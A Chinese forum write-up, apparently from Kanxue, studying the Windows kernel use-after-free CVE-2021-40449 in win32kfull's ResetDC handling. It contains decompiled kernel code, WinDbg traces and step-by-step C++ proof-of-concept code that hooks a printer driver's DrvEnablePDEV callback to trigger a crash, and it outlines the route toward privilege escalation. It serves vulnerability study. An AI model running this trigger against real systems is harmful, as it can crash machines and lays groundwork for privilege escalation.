查看原文
其他

CVE-2021-40449(UAF)学习

Jimpp 看雪学苑 2022-07-01


本文为看雪论坛优秀文章
看雪论坛作者ID:Jimpp



1


漏洞描述


内核模块win32kfull.sys中存在UAF漏洞,利用此UAF漏洞可实现本地提权(LPE: local privilege escalation)。
 
影响版本:

Windows Server, version 2004/20H2(Server Core Installation)

Windows 10 Version 1607/1809/1909/2004/20H2/21H1

Windows 7 for 32/64-bit Systems Service Pack 1

Windows Server 2008/2012/2016/2019/2022

Windows 11 for ARM64-based Systems

Windows 11 for x64-based Systems

Windows 8.1 for 32/64-bit systems

Windows RT 8.1



2


漏洞分析

 
题外话:试了好几个版本,发现高版本的系统运行POC 10次可能触发1次蓝屏,所以选择了蓝屏机率最高的win10-1809版本进行复现学习。

UAF漏洞存在于win32kfull.sys中的NtGdiResetDC函数中,此类win32k漏洞产生根本原因大都是设置了用户模式的回调函数,在执行回调函数期间调用了其他出乎意料的API函数进而导致漏洞的产生。

从下面F5出来的反汇编代码可以看到在NtGdiResetDC函数中调用了GreResetDCInternal函数:
if ( v11 ) { v11 = GreResetDCInternal(a1, v8, &v13, (__int64)v9, a5); if ( v11 ) { if ( (unsigned __int64)a3 >= MmUserProbeAddress ) // MmUserProbeAddress为全局变量,相当于用户空间与内核空间的分界线 a3 = (_DWORD *)MmUserProbeAddress; *a3 = v13; } }

在跟进GreResetDCInternal函数前,我们先了解一下相关结构体的定义,参考自NT4.0的源码

dcobj.hxx#L97(https://github.com/ZoloZiak/WinNT4/blob/master/private/ntos/w32/ntgdi/gre/dcobj.hxx#L97)

dcobj.hxx#L236(https://github.com/ZoloZiak/WinNT4/blob/master/private/ntos/w32/ntgdi/gre/dcobj.hxx#L236)

dcobj.hxx#L1282(https://github.com/ZoloZiak/WinNT4/blob/master/private/ntos/w32/ntgdi/gre/dcobj.hxx#L1282)

dcobj.hxx#L1686(https://github.com/ZoloZiak/WinNT4/blob/master/private/ntos/w32/ntgdi/gre/dcobj.hxx#L1686)


另外HDC犹如其名,handle to device context,图形设备信息对象的句柄。

class DCLEVEL{public: ... HDC hdcSave; ...}
class DC : public OBJECT{public: DHPDEV dhpdev_; PDEV *ppdev_; ... HDC hdcNext_; // HDC链表指针 HDC hdcPrev_; ... DCLEVEL dclevel ...};typedef DC *PDC;
class XDCOBJ /* dco */{public: PDC pdc; ...};typedef XDCOBJ *PXDCOBJ;
class DCOBJ : public XDCOBJ /* mdo */{public: DCOBJ() { pdc = (PDC) NULL; } DCOBJ(HDC hdc) { vLock(hdc); } ~DCOBJ() { vUnlockNoNullSet(); }};typedef DCOBJ *PDCOBJ;

紧接着对GreResetDCInternal进行分析,可以看到函数中调用hdcOpgjenDCW函数创建了新的HDC对象,hdcOpgjenDCW函数位于win32kbase模块,调用期间会调用用户态DrvEnablePDEV回调函数。

当我们劫持或者说hook callback table上该函数指针所在的位置的内容时,hook函数里头再次调用ResetDC,造成DC对象的结构数据异常,于是问题出现了:

v19 = *(void (__fastcall **)(_QWORD, _QWORD))(v11 + 0xAB8);又从旧的DC对象中获取函数指针,v19(*(_QWORD *)(v11 + 0x708), *(_QWORD *)(*((_QWORD *)new_dcobj.pDC + 6) + 0x708i64));的两个参数((_QWORD *)(v11 + 0x708) == *((_QWORD *)dcobj.pDC + 6) + 0x708i64)均来自旧的DC对象,这就是教科书般的use-after-free。

由于这两个参数可受到用户控制,内核函数接受两个用户态的参数,因此可以利用此漏洞造成任意地址读写。
__int64 __fastcall GreResetDCInternal(HDC hdc, __int64 a2, int *a3, __int64 a4, __int64 a5){
...
DCOBJ::DCOBJ(&dcobj, hdc); // 利用hdc对象来创建DCOBJ对象 pDC = dcobj.pDC; if ( !dcobj.pDC ) { EngSetLastError(6u); // 无效句柄 v13 = dcobj.pDC;LABEL_38: v16 = v25; goto LABEL_19; }
...
v11 = *((_QWORD *)pDC + 6); // 获取DC的成员变量
...
if ( XDCOBJ::bCleanDC((XDCOBJ *)&dcobj, 0) ) { if ( *(_DWORD *)(v11 + 8) == 1 ) { // 创建新的HDC对象,其用户态回调函数DrvEnablePDEV可能破坏dcobj对象和DC对象 newHdc = (HDC)hdcOpenDCW(&word_1C02CCD00, a2, 0i64, 0i64, *(_QWORD *)(v11 + 0xA00), v25, a4, a5, 0); v8 = newHdc; if ( newHdc ) { *(_QWORD *)(v11 + 0xA00) = 0i64; DCOBJ::DCOBJ(&new_dcobj, newHdc); v18 = new_dcobj.pDC; if ( new_dcobj.pDC ) { if ( v14 > 0 ) { *((_DWORD *)new_dcobj.pDC + 0x1B) = *((_DWORD *)new_dcobj.pDC + 0x1A); v18 = new_dcobj.pDC; } *((_QWORD *)v18 + 0x101) = *((_QWORD *)dcobj.pDC + 0x101); *((_QWORD *)dcobj.pDC + 0x101) = 0i64; *((_QWORD *)new_dcobj.pDC + 0x102) = *((_QWORD *)dcobj.pDC + 0x102); *((_QWORD *)dcobj.pDC + 0x102) = 0i64; // 从旧DC对象中获取函数指针,此时对象可能已经遭到破坏或者替换,当内核访问无效的地址时,将会触发BSOD v19 = *(void (__fastcall **)(_QWORD, _QWORD))(v11 + 0xAB8); if ( v19 ) // 两个参数可受用户控制 v19(*(_QWORD *)(v11 + 0x708), *(_QWORD *)(*((_QWORD *)new_dcobj.pDC + 6) + 0x708i64));
...
} }
...}

如果你觉得IDA中的反汇编代码不够直观,可以参考@ly4k的成果,对GreResetDCInternal函数的整体更加了解。
BOOL GreResetDCInternal( HDC hdc, DEVMODEW *pdmw, BOOL *pbBanding, DRIVER_INFO_2W *pDriverInfo2, PVOID ppUMdhpdev){ // [...] HDC hdcNew;
{ // Create DCOBJ from HDC DCOBJ dco(hdc);
if (!dco.bValid()) { SAVE_ERROR_CODE(ERROR_INVALID_HANDLE); } else { // Create DEVOBJ from `dco` PDEVOBJ po(dco.hdev());
// [...]
// Create the new DC // VULN: Can result in a usermode callback that destroys old DC, which // invalidates `dco` and `po` hdcNew = hdcOpenDCW(L"", pdmw, DCTYPE_DIRECT, po.hSpooler, prton, pDriverInfo2, ppUMdhpdev);
if (hdcNew) { po->hSpooler = NULL;
DCOBJ dcoNew(hdcNew);
if (!dcoNew.bValid()) { SAVE_ERROR_CODE(ERROR_INVALID_HANDLE); } else { // Transfer any remote fonts
dcoNew->pPFFList = dco->pPFFList; dco->pPFFList = NULL;
// Transfer any color transform
dcoNew->pCXFList = dco->pCXFList; dco->pCXFList = NULL;
PDEVOBJ poNew((HDEV)dcoNew.pdc->ppdev());
// Let the driver know // VULN: Method is taken from old (possibly destroyed) `po` PFN_DrvResetPDEV rfn = po->ppfn[INDEX_DrvResetPDEV];
if (rfn != NULL) { (*rfn)(po->dhpdev, poNew->dhpdev); }
// [...] } } } }
// Destroy old DC // [...]},

相信看到这里的读者都已经了解漏洞的产生原因,接下来我们对POC进行一定的调试分析。



3


漏洞验证


自己跟着写的POC还是有点问题,因此待会还是暂时拿别人的POC(https://github.com/ly4k/CallbackHell/blob/main/CallbackHell/CallbackHell.cpp)调试,下面我写的代码只是按着步骤进行拆分,方便理解。
 
根据Kaspersky的揭露,在执行ResetDC的回调函数时,对相同的句柄再次调用ResetDC,即可触发漏洞。利用此漏洞需要使用GDI palette对象和一个内核函数达到任意地址读写,如果EXP处于Medium IL,可以利用NtQuerySystemInformation和EnumDeviceDrivers去泄露内核模块地址,最终可以进行权限提升。
 
漏洞验证可以分为以下步骤:

① 使用EnumPrinters(枚举打印机)寻找可利用的某打印机驱动
// get the size of PRINTER_INFO_4A structure arrayDWORD pcbNeeded = 0, pcReturned = 0;EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcReturned);if (pcbNeeded <= 0){ cout << "[-] Failed To Find Any Available Printers" << endl; return FALSE;}
PRINTER_INFO_4A* pPrinterInfo = NULL;pPrinterInfo = static_cast<PRINTER_INFO_4A*>(malloc(pcbNeeded));if (!pPrinterInfo){ cout << "[-] Failed To Allocate Buffer For PRINTER_INFO Array" << endl; return FALSE;}
// store all PRINTER_INFO_4A structures to heapBOOL retStatus = FALSE;retStatus = EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)pPrinterInfo, pcbNeeded, &pcbNeeded, &pcReturned);if (!retStatus){ cout << "[-] Failed To Store All PRINTER_INFO Structures" << endl; return FALSE;}

② 使用OpenPrinter、 GetPrinterDriver、 LoadLibraryExA将此打印机驱动加载到内存
HANDLE hPrinter = 0;DRIVER_INFO_2A* pDriverInfo = NULL;// get the printer driver's namePRINTER_INFO_4A* pPrinterInfoTemp = &pPrinterInfo[i];if (!pPrinterInfoTemp->pPrinterName){ cout << "[-] Failed To Print The Printer Name" << endl;}cout << "[+] The Printer Name: " << pPrinterInfoTemp->pPrinterName << endl;expVal::pPrinterName = pPrinterInfoTemp->pPrinterName;
retStatus = OpenPrinterA(pPrinterInfoTemp->pPrinterName, &hPrinter, NULL);if (!retStatus){ cout << "[-] Failed To Open The Printer: " << pPrinterInfoTemp->pPrinterName << endl; continue;}
// get the printer driver's handlepcbNeeded = 0;GetPrinterDriverA(hPrinter, NULL, 2, NULL, 0, &pcbNeeded);pDriverInfo = static_cast<DRIVER_INFO_2A*>(malloc(pcbNeeded));if (!pDriverInfo){ cout << "[-] Failed To Allocate Buffer for DRIVER_INFO_2A" << endl; return FALSE;}retStatus = GetPrinterDriverA(hPrinter, NULL, 2, (LPBYTE)pDriverInfo, pcbNeeded, &pcbNeeded);if (!retStatus){ cout << "[-] Failed To Get Printer Driver" << endl; continue;}cout << "[+] The Driver Dll: " << pDriverInfo->pDriverPath << endl;
// load the printer driver to memoryHMODULE hModule = LoadLibraryExA(pDriverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);if (!hModule){ cout << "[-] Failed To Load The " << pDriverInfo->pDriverPath << "To Memory" << endl; continue;}

③ 使用GetProcAddress和DrvEnableDriver获取此打印机驱动的用户态回调函数表(callback table)
// get the function pointerpDrvEnableDriver DrvEnableDriver = NULL;pDrvDisableDriver DrvDisableDriver = NULL;DrvEnableDriver = (pDrvEnableDriver)GetProcAddress(hModule, "DrvEnableDriver");DrvDisableDriver = (pDrvDisableDriver)GetProcAddress(hModule, "DrvDisableDriver");if (!DrvDisableDriver || !DrvEnableDriver){ cout << "[-] Failed To Get The DrvEnableDriver And DrvDisableDriver's Address" << endl; continue;}
// enable the printer driverDRVENABLEDATA drvEnableData{ 0 };retStatus = DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData);if (!retStatus){ cout << "[-] Failed To Enable The Printer Driver" << endl; continue;}else{ cout << "[+] Enable The Printer Driver" << endl;}

④ 使用VirtualProtect取消对此打印机驱动的用户态回调函数表的保护
DWORD lpflOldProtect = 0;if (!drvEnableData.pdrvfn){ cout << "[-] Failed To Find The Callback Table Entry" << endl; continue;}retStatus = VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(DRVFN), PAGE_READWRITE, &lpflOldProtect);if (!retStatus){ cout << "[-] Failed To Unprotect The Callback Table Entry" << endl; continue;}

⑤ 覆写此打印机驱动的用户态回调函数表中指定的函数指针
// find the specific callback entryfor (DWORD j = 0; j < drvEnableData.c; ++j){ if(expVal::callbackHook.iFunc == drvEnableData.pdrvfn[j].iFunc) { expVal::originCallback = drvEnableData.pdrvfn[j].pfn; cout << "[+] The Origin Callback Address: " << drvEnableData.pdrvfn[j].pfn << endl; drvEnableData.pdrvfn[j].pfn = expVal::callbackHook.pfn; cout << "[+] The Hook Callback Address: " << drvEnableData.pdrvfn[j].pfn << endl; cout << "[+] Hook The Callback Entry DrvEnablePDEV Successfully" << endl; break; }}

⑥ 设置自定义回调函数
DHPDEV CallbackHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver){ if (!expVal::hdc) { cout << "[-] Global Hdc Is Invalid" << endl; } cout << "[+] The " << expVal::count++ << "th time to call DrvEnablePDEV" << endl; DHPDEV ret = ((pDrvEnablePDEV)expVal::originCallback)(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver); if (expVal::triggerFlag) { expVal::triggerFlag = FALSE; // 触发漏洞的核心是第二次在回调函数里再次调用ResetDC HDC tempHdc = ResetDC(expVal::hdc, NULL); cout << "[+] Returned From Second ResetDC" << endl; for (int i = 1; i < 16; i++) { Sleep(1000); printf("[+] Counting down...: %d\n", 16 - i); } Sleep(1000); }
return ret;}

⑦ 使用CreateDC(NULL, printerName, NULL, NULL)为此打印机驱动创建设备环境
int main(){ BOOL retStatus = FALSE; retStatus = HookUsermodeCallbackEntry(); if (!retStatus) { cout << "[-] Failed To Hook Callback" << endl; return 0; }
expVal::hdc = CreateDCA(NULL, expVal::pPrinterName, NULL, NULL); if (!expVal::hdc) { cout << "[-] Failed To Create DC" << endl; return 0; }
cout << "[+] CallbackHook Start" << endl; ResetDC(expVal::hdc, NULL); cout << "[+] CallbackHook Finish" << endl; cout << "[+] Time to BSOD" << endl; return 0;}

POC调试:
 
windbg中在win32kfull!GreResetDCInternal和 win32kbase!hdcOpenDCW函数下断点,第一次运行到hdcOpenDCW函数时,栈帧如下图所示,可以清楚的知道ResetDC如何从Ring3到Ring0。
# Child-SP RetAddr Call Site00 ffffb707`86be9938 fffff53a`bdd39ff2 win32kbase!hdcOpenDCW01 ffffb707`86be9940 fffff53a`bdd39e66 win32kfull!GreResetDCInternal+0x11a02 ffffb707`86be9a10 fffff801`0be74285 win32kfull!NtGdiResetDC+0xd603 ffffb707`86be9a90 00007ffe`8c636f04 nt!KiSystemServiceCopyEnd+0x2504 00000096`578ff5f8 00007ffe`8cf497bf win32u!NtGdiResetDC+0x1405 00000096`578ff600 00007ffe`8e40dc71 gdi32full!ResetDCWInternal+0x16b06 00000096`578ff700 00007ff7`134b1573 GDI32!ResetDCW+0x3107 00000096`578ff730 00000269`632d9060 CallbackHell!main+0x63 [D:\CVE\CVE-2021-40449\Poc\CallbackHell\CallbackHell.cpp @ 236]08 00000096`578ff738 00000000`00000000 0x00000269`632d9060

此时我还有些疑问,hdcOpenDCW函数如何调用回调函数DrvEnablePDEV?因此我在hook的函数开头添加了DebugBreak函数来进行栈帧回溯。
# Child-SP RetAddr Call Site00 00000022`a28fedf8 00007ff6`e0ec1096 KERNELBASE!wil::details::DebugBreak+0x201 00000022`a28fee00 00000166`f03e7dba CallbackHell!hook_DrvEnablePDEV+0x26 [D:\CVE\CVE-2021-40449\Poc\CallbackHell\CallbackHell.cpp @ 34]02 00000022`a28fee08 00007ffd`cc252d0b 0x00000166`f03e7dba03 00000022`a28fee10 00007ffd`cc252ac4 ucrtbase!__crt_state_management::leave_os_call+0x4b04 00000022`a28fee40 00007ffd`ccac5650 ucrtbase!__crt_state_management::wrapped_invoke<int (__cdecl*)(char const * __ptr64,char const * __ptr64),char const * __ptr64,char const * __ptr64,int>+0x3405 00000022`a28fee70 00007ffd`cd4d99fa gdi32full!GdiPrinterThunk+0x6d006 00000022`a28fef40 00007ffd`cfbb22c4 USER32!__ClientPrinterThunk+0x3a07 00000022`a28ff7c0 00007ffd`cbc66f04 ntdll!KiUserCallbackDispatcherContinue08 00000022`a28ff8c8 00007ffd`ccac97bf win32u!NtGdiResetDC+0x1409 00000022`a28ff8d0 00007ffd`cd65dc71 gdi32full!ResetDCWInternal+0x16b0a 00000022`a28ff9d0 00007ff6`e0ec1573 GDI32!ResetDCW+0x310b 00000022`a28ffa00 00000166`f03d83b0 CallbackHell!main+0x63 [D:\CVE\CVE-2021-40449\Poc\CallbackHell\CallbackHell.cpp @ 236]

v19 = *(void (__fastcall **)(_QWORD, _QWORD))(v11 + 0xAB8);对应的汇编代码如下:
win32kfull!GreResetDCInternal+0x1a0:ffffab8d`4253a078 488b4df7 mov rcx,qword ptr [rbp-9]ffffab8d`4253a07c 488b5130 mov rdx,qword ptr [rcx+30h]ffffab8d`4253a080 488b8b08070000 mov rcx,qword ptr [rbx+708h]ffffab8d`4253a087 488b9208070000 mov rdx,qword ptr [rdx+708h]ffffab8d`4253a08e ff15fcdf2000 call qword ptr [win32kfull!_guard_dispatch_icall_fptr (ffffab8d`42748090)]

在windbg中跟踪此处的调用,发现通过jmp rax跳转,此时rax已经不是正确的值,后面的执行流程发生错误,最终触发蓝屏。
0: kd> u ripwin32kfull!guard_dispatch_icall_nop:ffffab8d`42542a10 ffe0 jmp raxffffab8d`42542a12 cc int 3ffffab8d`42542a13 cc int 3ffffab8d`42542a14 cc int 3ffffab8d`42542a15 cc int 3ffffab8d`42542a16 cc int 3ffffab8d`42542a17 cc int 3ffffab8d`42542a18 cc int 3


漏洞利用


容我再想想怎么写EXP,敬请期待。



参考链接:


https://mp.weixin.qq.com/s/z0Hv06YRlmQVSINTd2Hh6w

https://github.com/ollypwn/CallbackHell




 


看雪ID:Jimpp

https://bbs.pediy.com/user-home-924781.htm

*本文由看雪论坛 Jimpp 原创,转载请注明来自看雪社区





# 往期推荐

1.HEVD学习笔记——UAF

2.分析某app的密码加密

3.利用Lighthouse进行覆盖率统计及其优化

4.从代码的角度学习AFLSMART的特性

5.通过ObRegisterCallbacks学习对象监控与反对象监控

6.Android Linker详解



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存